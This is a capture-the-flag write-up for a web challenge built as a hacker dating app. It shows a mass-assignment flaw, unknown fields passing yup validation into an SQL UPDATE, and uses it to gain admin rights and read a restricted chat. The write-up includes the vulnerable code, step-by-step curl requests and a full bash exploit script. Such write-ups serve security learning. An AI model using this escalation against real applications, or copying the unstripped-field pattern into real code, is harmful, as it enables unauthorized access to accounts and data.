Tags: yup mass-assignment web
Rating:
## Introduction
ExploitMe is a web challenge simulating a dating app for hackers. The main vulnerability lies in the API logic, allowing privilege escalation via a **mass assignment flaw**. By exploiting this issue, we can escalate to admin and retrieve the flag from a restricted chat.
### Context Explanation
The application is a **Next.js app** using API routes with SQLite for persistence.
User registration issues a JWT. Profile updates are done through `/api/edit`.
The backend uses `yup` for validation but fails to strip unknown fields. This leads to unsanitized attributes being directly mapped into the SQL `UPDATE` query.
### Directive
The goal is to escalate our account privileges to admin and access restricted data (the flag) in chat room #4.
---
## Solution
### Step 1: Register a new account
```bash
curl -s -X POST "$URL/api/register" \
-H "Content-Type: application/json" \
-d '{"username":"hitcat","email":"[email protected]","password":"Secret123!"}'
```
This returns a valid JWT.

---
### Step 2: Complete onboarding
```bash
curl -s -X POST "$URL/api/onboarding" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"role": "WHITE_HAT",
"looking_for": "WHITE_HAT",
"age": 19,
"likes": ["IoT"],
"dislikes": ["SIM Swappers"],
"bio": "Your leet bio here",
"location": "Obviously, the Internet",
"hacks": ["Morris Worm"],
"favorite_hacker": "Kevin Mitnick",
"favorite_song": "Careless Hacker",
"favorite_movie": "My Little Pony: The Movie",
"yt_embed": "https://www.youtube.com/embed/spY_RFBQu4E?si=hcQTihIIwkkG1mOc",
"touches_grass": false
}'
```

---
### Step 3: Exploit mass assignment in `/api/edit`
The vulnerable code (`edit.js`):
```js
const setClause = Object.keys(validated).map(field => `"${field}" = ?`).join(', ');
const values = Object.values(validated);
const updateQuery = `UPDATE users SET ${setClause} WHERE id = ?`;
```
Because `yup` was not configured with `stripUnknown: true`, arbitrary fields (e.g. `is_admin`) pass through.
Exploit:
```bash
curl -s -X POST "$URL/api/edit" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"is_admin":1}'
```

---
### Step 4: Abuse admin privilege to report a chat
```bash
curl -s -X POST "$URL/api/chat/4/report" \
-H "Authorization: Bearer $TOKEN"
```

---
### Step 5: Read restricted messages (flag)
```bash
curl -s "$URL/api/chat/4" \
-H "Authorization: Bearer $TOKEN" \
| jq -r '.messages[] | .content'
```

---
## POC
```bash
#!/bin/bash
URL="https://9f2c6b38bc4461a2b4545a00c94951e2.exploitme.challs.snakectf.org"
USERNAME="hitcat"
EMAIL="[email protected]"
PASSWORD="Secret123!"
# Step 1 : Register and get JWT
echo "[*] Registering user $USERNAME..."
TOKEN=$(curl -s -X POST "$URL/api/register" \
-H "Content-Type: application/json" \
-d "{\"username\":\"$USERNAME\",\"email\":\"$EMAIL\",\"password\":\"$PASSWORD\"}" \
| jq -r .token)
if [ "$TOKEN" = "null" ] || [ -z "$TOKEN" ]; then
echo "[!] Failed to get token during register"
exit 1
fi
echo "[+] Token obtained: $TOKEN"
# Step 2 : Onboarding
echo "[*] Sending onboarding data..."
curl -s -X POST "$URL/api/onboarding" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"role": "WHITE_HAT",
"looking_for": "WHITE_HAT",
"age": 19,
"likes": ["IoT"],
"dislikes": ["SIM Swappers"],
"bio": "Your leet bio here",
"location": "Obviously, the Internet",
"hacks": ["Morris Worm"],
"favorite_hacker": "Kevin Mitnick",
"favorite_song": "Careless Hacker",
"favorite_movie": "My Little Pony: The Movie",
"yt_embed": "https://www.youtube.com/embed/spY_RFBQu4E?si=hcQTihIIwkkG1mOc",
"touches_grass": false
}' | jq .
# Step 3 : Admin priv esc via mass assignment
echo "[*] Trying to escalate privileges (is_admin=1)..."
curl -s -X POST "$URL/api/edit" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"is_admin":1}' | jq .
# Step 4 : Report match n°4
echo "[*] Reporting match 4..."
curl -s -X POST "$URL/api/chat/4/report" \
-H "Authorization: Bearer $TOKEN" | jq .
# Step 5 : Reading match n°4 messages
echo "[*] Reading messages from match 4..."
curl -s "$URL/api/chat/4" \
-H "Authorization: Bearer $TOKEN" \
| jq -r '.messages[] | .content'
```